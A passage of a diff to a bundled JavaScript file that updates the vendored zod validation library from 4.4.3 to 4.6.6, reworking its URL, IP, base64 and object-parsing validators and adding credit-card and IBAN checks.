return Promise.all(proms).then(() => void 0); + return void 0; + }; +}); var $ZodCheckMimeType = /* @__PURE__ */ $constructor("$ZodCheckMimeType", (inst, def) => { $ZodCheck.init(inst, def); const mimeSet = new Set(def.mime); - inst._zod.onattach.push((inst2) => { - inst2._zod.bag.mime = def.mime; - }); inst._zod.check = (payload) => { if (mimeSet.has(payload.value.type)) return; @@ -56953,18 +57282,22 @@ var $ZodCheckOverwrite = /* @__PURE__ */ $constructor("$ZodCheckOverwrite", (ins }; }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/doc.js var Doc = class { - constructor(args = []) { + constructor(args = [], closed = {}) { this.content = []; this.indent = 0; - if (this) - this.args = args; + this.args = args; + this.closed = closed; } + // the compiler catches a child's throw and keeps writing into this doc, so the indent has to unwind with it indented(fn) { this.indent += 1; - fn(this); - this.indent -= 1; + try { + fn(this); + } finally { + this.indent -= 1; + } } write(arg) { if (typeof arg === "function") { @@ -56982,31 +57315,30 @@ var Doc = class { } compile() { const F = Function; - const args = this?.args; const content = this?.content ?? [``]; - const lines = [...content.map((x) => ` ${x}`)]; - return new F(...args, lines.join("\n")); + const factory = new F(...Object.keys(this.closed), `return function (${this.args.join(", ")}) { +${content.join("\n")} +};`); + return factory(...Object.values(this.closed)); } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/versions.js var version = { major: 4, - minor: 4, - patch: 3 + minor: 6, + patch: 6 }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/schemas.js var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { var _a3; inst ?? (inst = {}); inst._zod.def = def; inst._zod.bag = inst._zod.bag || {}; inst._zod.version = version; - const checks = [...inst._zod.def.checks ?? []]; - if (inst._zod.traits.has("$ZodCheck")) { - checks.unshift(inst); - } + const defChecks = inst._zod.def.checks; + const checks = inst._zod.traits.has("$ZodCheck") ? [inst, ...defChecks ?? []] : defChecks?.length ? [...defChecks] : []; for (const ch of checks) { for (const fn of ch._zod.onattach) { fn(inst); @@ -57019,6 +57351,8 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { }); } else { const runChecks = (payload, checks2, ctx) => { + if (payload.memo) + return payload; let isAborted = aborted(payload); let asyncResult; for (const ch of checks2) { @@ -57042,6 +57376,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) return; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); }); @@ -57049,6 +57384,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) continue; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); } @@ -57095,22 +57431,39 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { return runChecks(result, checks, ctx); }; } - defineLazy(inst, "~standard", () => ({ +}, { + // Wrappers extend this by installing a richer factory over it; reading it eagerly would defeat the laziness. + get "~standard"() { + return hide(this, "~standard", standardProps(this)); + }, + set "~standard"(value) { + own(this, "~standard", value); + } +}); +var toStandardResult = (r, ctx) => r.issues.length ? { issues: r.issues.map((iss) => finalizeIssue(iss, ctx, config())) } : { value: r.value }; +async function validateAsync2(inst, value) { + const ctx = { async: true }; + return toStandardResult(await inst._zod.run({ value, issues: [] }, ctx), ctx); +} +function standardProps(inst) { + return { validate: (value) => { + const ctx = { async: false }; try { - const r = safeParse(inst, value); - return r.success ? { value: r.data } : { issues: r.error?.issues }; + const r = inst._zod.run({ value, issues: [] }, ctx); + if (!(r instanceof Promise)) + return toStandardResult(r, ctx); } catch (_) { - return safeParseAsync(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues }); } + return validateAsync2(inst, value); }, vendor: "zod", version: 1 - })); -}); + }; +} var $ZodString = /* @__PURE__ */ $constructor("$ZodString", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string(inst._zod.bag); + inst._zod.pattern = def.pattern ?? anyString; inst._zod.parse = (payload, _) => { if (def.coerce) try { @@ -57160,58 +57513,105 @@ var $ZodEmail = /* @__PURE__ */ $constructor("$ZodEmail", (inst, def) => { def.pattern ?? (def.pattern = email); $ZodStringFormat.init(inst, def); }); +var URL_BAD_FORMAT = 1; +var URL_UNPARSEABLE = 2; +function canParseURL(input2) { + try { + if (typeof URL !== "undefined" && typeof URL.canParse === "function") + return URL.canParse(input2); + new URL(input2); + return true; + } catch { + return false; + } +} +function validateURL(trimmed, def) { + if (!("normalize" in def) && !("hostname" in def) && !("protocol" in def)) { + return canParseURL(trimmed) || URL_UNPARSEABLE; + } + return parseURLObject(trimmed, def); +} +function parseURLObject(trimmed, def) { + if (!def.normalize && def.protocol?.source === httpProtocol.source && !/^https?:\/\//i.test(trimmed)) { + return URL_BAD_FORMAT; + } + try { + if (typeof URL !== "undefined") { + const URLStatic = URL; + if (typeof URLStatic.parse === "function") + return URLStatic.parse(trimmed) ?? URL_UNPARSEABLE; + } + return new URL(trimmed); + } catch { + return URL_UNPARSEABLE; + } +} +var asciiTabOrNewline = /[\t\n\r]/g; +function stripTabAndNewline(value) { + return value.replace(asciiTabOrNewline, ""); +} +function urlHostnameOk(url2, hostname3) { + hostname3.lastIndex = 0; + return hostname3.test(url2.hostname); +} +function urlProtocolOk(url2, protocol) { + protocol.lastIndex = 0; + return protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol); +} var $ZodURL = /* @__PURE__ */ $constructor("$ZodURL", (inst, def) => { $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { try { const trimmed = payload.value.trim(); - if (!def.normalize && def.protocol?.source === httpProtocol.source) { - if (!/^https?:\/\//i.test(trimmed)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid URL format", - input: payload.value, - inst, - continue: !def.abort - }); - return; - } + const url2 = validateURL(trimmed, def); + if (url2 === URL_BAD_FORMAT) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid URL format", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - const url2 = new URL(trimmed); - if (def.hostname) { - def.hostname.lastIndex = 0; - if (!def.hostname.test(url2.hostname)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid hostname", - pattern: def.hostname.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === URL_UNPARSEABLE) { + payload.issues.push({ + code: "invalid_format", + format: "url", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - if (def.protocol) { - def.protocol.lastIndex = 0; - if (!def.protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid protocol", - pattern: def.protocol.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === true) { + payload.value = stripTabAndNewline(trimmed); + return; } - if (def.normalize) { - payload.value = url2.href; - } else { - payload.value = trimmed; + if (def.hostname && !urlHostnameOk(url2, def.hostname)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid hostname", + pattern: def.hostname.source, + input: payload.value, + inst, + continue: !def.abort + }); + } + if (def.protocol && !urlProtocolOk(url2, def.protocol)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid protocol", + pattern: def.protocol.source, + input: payload.value, + inst, + continue: !def.abort + }); } + payload.value = def.normalize ? url2.href : stripTabAndNewline(trimmed); return; } catch (_) { payload.issues.push({ @@ -57229,7 +57629,9 @@ var $ZodEmoji = /* @__PURE__ */ $constructor("$ZodEmoji", (inst, def) => { $ZodStringFormat.init(inst, def); }); var $ZodNanoID = /* @__PURE__ */ $constructor("$ZodNanoID", (inst, def) => { - def.pattern ?? (def.pattern = nanoid); + if (def.length !== void 0 && (!Number.isInteger(def.length) || def.length < 1)) + throw new Error(`Invalid nanoid length: ${def.length}`); + def.pattern ?? (def.pattern = def.length === void 0 ? nanoid : nanoidOfLength(def.length)); $ZodStringFormat.init(inst, def); }); var $ZodCUID = /* @__PURE__ */ $constructor("$ZodCUID", (inst, def) => { @@ -57271,16 +57673,18 @@ var $ZodISODuration = /* @__PURE__ */ $constructor("$ZodISODuration", (inst, def var $ZodIPv4 = /* @__PURE__ */ $constructor("$ZodIPv4", (inst, def) => { def.pattern ?? (def.pattern = ipv4); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv4`; }); +var ipv6Alphabet = /^[0-9a-fA-F:.]+$/; +function isValidIPv6(value) { + if (!ipv6Alphabet.test(value)) + return false; + return canParseURL(`http://[${value}]`); +} var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { def.pattern ?? (def.pattern = ipv6); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv6`; inst._zod.check = (payload) => { - try { - new URL(`http://[${payload.value}]`); - } catch { + if (!isValidIPv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "ipv6", @@ -57294,30 +57698,30 @@ var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { var $ZodMAC = /* @__PURE__ */ $constructor("$ZodMAC", (inst, def) => { def.pattern ?? (def.pattern = mac(def.delimiter)); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `mac`; }); var $ZodCIDRv4 = /* @__PURE__ */ $constructor("$ZodCIDRv4", (inst, def) => { def.pattern ?? (def.pattern = cidrv4); $ZodStringFormat.init(inst, def); }); +function isValidCIDRv6(value) { + const parts = value.split("/"); + if (parts.length !== 2) + return false; + const [address, prefix] = parts; + if (!prefix) + return false; + const prefixNum = Number(prefix); + if (`${prefixNum}` !== prefix) + return false; + if (prefixNum < 0 || prefixNum > 128) + return false; + return isValidIPv6(address); +} var $ZodCIDRv6 = /* @__PURE__ */ $constructor("$ZodCIDRv6", (inst, def) => { def.pattern ?? (def.pattern = cidrv6); $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { - const parts = payload.value.split("/"); - try { - if (parts.length !== 2) - throw new Error(); - const [address, prefix] = parts; - if (!prefix) - throw new Error(); - const prefixNum = Number(prefix); - if (`${prefixNum}` !== prefix) - throw new Error(); - if (prefixNum < 0 || prefixNum > 128) - throw new Error(); - new URL(`http://[${address}]`); - } catch { + if (!isValidCIDRv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "cidrv6", @@ -57342,10 +57746,10 @@ function isValidBase64(data) { return false; } } +var base64Charset = /^[0-9a-zA-Z+/]*={0,2}$/; var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { - def.pattern ?? (def.pattern = base64); + def.pattern ?? (def.pattern = base64Charset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64"; inst._zod.check = (payload) => { if (isValidBase64(payload.value)) return; @@ -57358,17 +57762,17 @@ var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { }); }; }); +var base64urlCharset = /^[A-Za-z0-9_-]*$/; function isValidBase64URL(data) { - if (!base64url.test(data)) + if (!base64urlCharset.test(data)) return false; const base643 = data.replace(/[-_]/g, (c) => c === "-" ? "+" : "/"); const padded = base643.padEnd(Math.ceil(base643.length / 4) * 4, "="); return isValidBase64(padded); } var $ZodBase64URL = /* @__PURE__ */ $constructor("$ZodBase64URL", (inst, def) => { - def.pattern ?? (def.pattern = base64url); + def.pattern ?? (def.pattern = base64urlCharset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64url"; inst._zod.check = (payload) => { if (isValidBase64URL(payload.value)) return; @@ -57385,6 +57789,71 @@ var $ZodE164 = /* @__PURE__ */ $constructor("$ZodE164", (inst, def) => { def.pattern ?? (def.pattern = e164); $ZodStringFormat.init(inst, def); }); +var CC_SANITIZE = /[- ]/g; +function isLuhnAlgo(digits) { + let length = digits.length; + let bit2 = 1; + let sum = 0; + while (length) { + const value = digits.charCodeAt(--length) - 48; + bit2 ^= 1; + sum += bit2 ? [0, 2, 4, 6, 8, 1, 3, 5, 7, 9][value] : value; + } + return sum % 10 === 0; +} +function isValidCreditCard(input2) { + if (!creditCard.test(input2)) + return false; + return isLuhnAlgo(input2.replace(CC_SANITIZE, "")); +} +var $ZodCreditCard = /* @__PURE__ */ $constructor("$ZodCreditCard", (inst, def) => { + def.pattern ?? (def.pattern = creditCard); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidCreditCard(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "credit_card", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +function isIso7064Mod97(iban3) { + let remainder = 0; + const len = iban3.length; + for (let i = 4; i < len; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + for (let i = 0; i < 4; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + return remainder === 1; +} +function isValidIBAN(input2) { + if (!iban.test(input2)) + return false; + return isIso7064Mod97(input2); +} +var $ZodIBAN = /* @__PURE__ */ $constructor("$ZodIBAN", (inst, def) => { + def.pattern ?? (def.pattern = iban); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidIBAN(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "iban", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); function isValidJWT(token, algorithm = null) { try { const tokensParts = token.split("."); @@ -57435,22 +57904,22 @@ var $ZodCustomStringFormat = /* @__PURE__ */ $constructor("$ZodCustomStringForma }); var $ZodNumber = /* @__PURE__ */ $constructor("$ZodNumber", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = inst._zod.bag.pattern ?? number; + inst._zod.pattern = number; inst._zod.parse = (payload, _ctx) => { if (def.coerce) try { payload.value = Number(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "number" && !Number.isNaN(input) && Number.isFinite(input)) { + const input2 = payload.value; + if (typeof input2 === "number" && !Number.isNaN(input2) && Number.isFinite(input2)) { return payload; } - const received = typeof input === "number" ? Number.isNaN(input) ? "NaN" : !Number.isFinite(input) ? "Infinity" : void 0 : void 0; + const received = typeof input2 === "number" ? Number.isNaN(input2) ? "NaN" : !Number.isFinite(input2) ? String(input2) : void 0 : void 0; payload.issues.push({ expected: "number", code: "invalid_type", - input, + input: input2, inst, ...received ? { received } : {} }); @@ -57470,13 +57939,13 @@ var $ZodBoolean = /* @__PURE__ */ $constructor("$ZodBoolean", (inst, def) => { payload.value = Boolean(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "boolean") + const input2 = payload.value; + if (typeof input2 === "boolean") return payload; payload.issues.push({ expected: "boolean", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57509,13 +57978,13 @@ var $ZodBigIntFormat = /* @__PURE__ */ $constructor("$ZodBigIntFormat", (inst, d var $ZodSymbol = /* @__PURE__ */ $constructor("$ZodSymbol", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "symbol") + const input2 = payload.value; + if (typeof input2 === "symbol") return payload; payload.issues.push({ expected: "symbol", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57526,13 +57995,13 @@ var $ZodUndefined = /* @__PURE__ */ $constructor("$ZodUndefined", (inst, def) => inst._zod.pattern = _undefined; inst._zod.values = /* @__PURE__ */ new Set([void 0]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "undefined", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57543,13 +58012,13 @@ var $ZodNull = /* @__PURE__ */ $constructor("$ZodNull", (inst, def) => { inst._zod.pattern = _null; inst._zod.values = /* @__PURE__ */ new Set([null]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input === null) + const input2 = payload.value; + if (input2 === null) return payload; payload.issues.push({ expected: "null", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57578,13 +58047,13 @@ var $ZodNever = /* @__PURE__ */ $constructor("$ZodNever", (inst, def) => { var $ZodVoid = /* @__PURE__ */ $constructor("$ZodVoid", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "void", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57599,21 +58068,46 @@ var $ZodDate = /* @__PURE__ */ $constructor("$ZodDate", (inst, def) => { } catch (_err) { } } - const input = payload.value; - const isDate = input instanceof Date; - const isValidDate = isDate && !Number.isNaN(input.getTime()); + const input2 = payload.value; + const isDate = input2 instanceof Date; + const isValidDate = isDate && !Number.isNaN(input2.getTime()); if (isValidDate) return payload; payload.issues.push({ expected: "date", code: "invalid_type", - input, + input: input2, ...isDate ? { received: "Invalid Date" } : {}, inst }); return payload; }; }); +function capSize(inst, size2) { + const caps = sizeCaps(inst._zod.def.checks); + if (!caps.length) + return; + const cap = Math.min(...caps.map((c) => c[0])); + const parse4 = inst._zod.parse; + inst._zod.parse = (payload, ctx) => { + const n = size2(payload.value); + if (n > cap && !ctx?.skipChecks && ctx?.direction !== "backward") { + for (const [max, ch] of sizeCaps(inst._zod.def.checks)) { + if (n > max && ch._zod.def.when(payload)) { + const start = payload.issues.length; + ch._zod.check(payload); + payload.issues[start].continue = false; + attachSchema(payload.issues, start, inst); + return payload; + } + } + } + return parse4(payload, ctx); + }; +} +var arraySize = (input2) => Array.isArray(input2) ? input2.length : -1; +var mapSize = (input2) => input2 instanceof Map ? input2.size : -1; +var setSize = (input2) => input2 instanceof Set ? input2.size : -1; function handleArrayResult(result, final, index2) { if (result.issues.length) { final.issues.push(...prefixIssues(index2, result.issues)); @@ -57622,21 +58116,24 @@ function handleArrayResult(result, final, index2) { } var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ expected: "array", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = Array(input.length); + payload.value = memo2 ? memo2.alloc(inst, payload, Array(input2.length), ctx) : Array(input2.length); const proms = []; - for (let i = 0; i < input.length; i++) { - const item = input[i]; + const abortEarly = ctx?.abortEarly; + for (let i = 0; i < input2.length; i++) { + const item = input2[i]; const result = def.element._zod.run({ value: item, issues: [] @@ -57645,6 +58142,8 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { proms.push(result.then((result2) => handleArrayResult(result2, payload, i))); } else { handleArrayResult(result, payload, i); + if (abortEarly && result.issues.length !== 0 && aborted(result)) + break; } } if (proms.length) { @@ -57652,16 +58151,21 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { } return payload; }; + capSize(inst, arraySize); }); -function handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) { - const isPresent = key in input; +function handlePropertyResult(result, final, key, input2, optin, optout) { + const isPresent = key in input2; + const isOptionalOut = optout === "optional"; + if (!isPresent && isOptionalOut && optin === "optional") { + return; + } if (result.issues.length) { - if (isOptionalIn && isOptionalOut && !isPresent) { + if (optin !== void 0 && isOptionalOut && !isPresent) { return; } final.issues.push(...prefixIssues(key, result.issues)); } - if (!isPresent && !isOptionalIn) { + if (!isPresent && optin === void 0) { if (!result.issues.length) { final.issues.push({ code: "invalid_type", @@ -57673,58 +58177,75 @@ function handlePropertyResult(result, final, key, input, isOptionalIn, isOptiona return; } if (result.value === void 0) { - if (isPresent) { + if (isPresent || optin === "defaulted" && !isOptionalOut) { final.value[key] = void 0; } } else { final.value[key] = result.value; } } +var NO_SYMBOL_KEYS = []; function normalizeDef(def) { const keys = Object.keys(def.shape); - for (const k of keys) { + const ownSymbols = Object.getOwnPropertySymbols(def.shape); + const symbolKeys = ownSymbols.length ? ownSymbols : NO_SYMBOL_KEYS; + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + for (const k of allKeys) { if (!def.shape?.[k]?._zod?.traits?.has("$ZodType")) { - throw new Error(`Invalid element at key "${k}": expected a Zod schema`); + throw new Error(`Invalid element at key "${String(k)}": expected a Zod schema`); } } const okeys = optionalKeys(def.shape); return { ...def, - keys, + allKeys, + symbolKeys, + // string-only: handleCatchall matches it against `for...in`, which never yields a symbol keySet: new Set(keys), numKeys: keys.length, optionalKeys: new Set(okeys) }; } -function handleCatchall(proms, input, payload, ctx, def, inst) { +function handleCatchall(proms, input2, payload, ctx, def, inst, abortEarly) { const unrecognized = []; const keySet = def.keySet; const _catchall = def.catchall._zod; const t = _catchall.def.type; - const isOptionalIn = _catchall.optin === "optional"; - const isOptionalOut = _catchall.optout === "optional"; - for (const key in input) { - if (key === "__proto__") - continue; + const optin = _catchall.optin; + const optout = _catchall.optout; + let seen = 0; + for (const key in input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } if (keySet.has(key)) continue; + if (key === "__proto__") { + if (t === "never") + unrecognized.push(key); + continue; + } if (t === "never") { unrecognized.push(key); continue; } - const r = _catchall.run({ value: input[key], issues: [] }, ctx); + const r = _catchall.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (unrecognized.length) { payload.issues.push({ code: "unrecognized_keys", keys: unrecognized, - input, - inst + input: input2, + inst, + // Describes the shape of the input, not the validity of the parsed value, so it never aborts. The parse still fails; the schema's own checks just get to run first, and an enclosing intersection can reconcile the key against a sibling operand. + continue: true }); } if (!proms.length) @@ -57736,28 +58257,31 @@ function handleCatchall(proms, input, payload, ctx, def, inst) { var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { $ZodType.init(inst, def); const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); - if (!desc2?.get) { - const sh = def.shape; - Object.defineProperty(def, "shape", { - get: () => { - const newSh = { ...sh }; - Object.defineProperty(def, "shape", { - value: newSh - }); - return newSh; - } - }); + const sh = desc2?.get ? desc2.get.raw : def.shape ?? {}; + if (sh) { + const get = () => { + const newSh = { ...sh }; + Object.defineProperty(def, "shape", { value: newSh }); + get.raw = newSh; + return newSh; + }; + get.raw = sh; + Object.defineProperty(def, "shape", { get }); } const _normalized = cached(() => normalizeDef(def)); - defineLazy(inst._zod, "propValues", () => { - const shape = def.shape; + defineLazyInternal(inst, "propValues", (zod) => { + const shape = zod.def.shape; const propValues = {}; for (const key in shape) { const field = shape[key]._zod; if (field.values) { - propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set()); + if (!Object.prototype.hasOwnProperty.call(propValues, key)) { + assignProp(propValues, key, /* @__PURE__ */ new Set()); + } for (const v of field.values) propValues[key].add(v); + if (field.optin !== void 0) + propValues[key].add(void 0); } } return propValues; @@ -57765,91 +58289,107 @@ var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { const isObject3 = isObject2; const catchall = def.catchall; let value; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = {}; + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const proms = []; const shape = value.shape; - for (const key of value.keys) { + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const key of value.allKeys) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } + if (key === "__proto__") + continue; const el = shape[key]; - const isOptionalIn = el._zod.optin === "optional"; - const isOptionalOut = el._zod.optout === "optional"; - const r = el._zod.run({ value: input[key], issues: [] }, ctx); + const optin = el._zod.optin; + const optout = el._zod.optout; + const r = el._zod.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (!catchall) { return proms.length ? Promise.all(proms).then(() => payload) : payload; } - return handleCatchall(proms, input, payload, ctx, _normalized.value, inst); + return handleCatchall(proms, input2, payload, ctx, _normalized.value, inst, abortEarly === true); }; }); var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => { $ZodObject.init(inst, def); const superParse = inst._zod.parse; const _normalized = cached(() => normalizeDef(def)); + const memo2 = globalConfig.memoizer; const generateFastpass = (shape) => { - const doc = new Doc(["shape", "payload", "ctx"]); const normalized = _normalized.value; - const parseStr = (key) => { - const k = esc(key); - return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; - }; + const syms = normalized.symbolKeys; + const doc = new Doc(["payload", "ctx"], { shape, inst, memo: memo2, syms }); + const parseStr = (k) => `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; + const prefixStr = (id, k) => ` + let ${id}_ab = false; + for (let i = 0; i < ${id}.issues.length; i++) { + const iss = ${id}.issues[i]; + iss.path = iss.path ? [${k}, ...iss.path] : [${k}]; + payload.issues.push(iss); + if (iss.continue !== true) ${id}_ab = true; + } + if (${id}_ab && ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + }`; doc.write(`const input = payload.value;`); const ids = /* @__PURE__ */ Object.create(null); let counter = 0; - for (const key of normalized.keys) { + for (const key of normalized.allKeys) { ids[key] = `key_${counter++}`; } - doc.write(`const newResult = {};`); - for (const key of normalized.keys) { + doc.write(memo2 ? `const newResult = memo.alloc(inst, payload, {}, ctx);` : `const newResult = {};`); + for (const key of normalized.allKeys) { + if (key === "__proto__") + continue; const id = ids[key]; - const k = esc(key); + const k = typeof key === "symbol" ? `syms[${syms.indexOf(key)}]` : esc(key); + const isPresent = `${k} in input`; const schema = shape[key]; - const isOptionalIn = schema?._zod?.optin === "optional"; + const optin = schema?._zod?.optin; + const isOptionalIn = optin !== void 0; const isOptionalOut = schema?._zod?.optout === "optional"; - doc.write(`const ${id} = ${parseStr(key)};`); + doc.write(`const ${id} = ${parseStr(k)};`); if (isOptionalIn && isOptionalOut) { + const assign = optin === "optional" ? `${id}_present` : `${id}.value !== undefined || ${id}_present`; doc.write(` - if (${id}.issues.length) { - if (${k} in input) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (!${id}.issues.length || ${id}_present) { + if (${id}.issues.length) {${prefixStr(id, k)} } - } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; + + if (${assign}) { + newResult[${k}] = ${id}.value; } - } else { - newResult[${k}] = ${id}.value; } - + `); } else if (!isOptionalIn) { doc.write(` - const ${id}_present = ${k} in input; - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (${id}.issues.length) {${prefixStr(id, k)} } if (!${id}_present && !${id}.issues.length) { payload.issues.push({ @@ -57858,41 +58398,36 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => input: undefined, path: [${k}] }); + if (ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + } } if (${id}_present) { - if (${id}.value === undefined) { - newResult[${k}] = undefined; - } else { - newResult[${k}] = ${id}.value; - } + newResult[${k}] = ${id}.value; } `); } else { doc.write(` - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + if (${id}.issues.length) {${prefixStr(id, k)} } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; - } + `); + if (optin === "defaulted") { + doc.write(`newResult[${k}] = ${id}.value;`); } else { + doc.write(` + if (${id}.value !== undefined || ${isPresent}) { newResult[${k}] = ${id}.value; } - `); + } } } doc.write(`payload.value = newResult;`); doc.write(`return payload;`); - const fn = doc.compile(); - return (payload, ctx) => fn(shape, payload, ctx); + return doc.compile(); }; let fastpass; const isObject3 = isObject2; @@ -57903,12 +58438,12 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => let value; inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57919,7 +58454,7 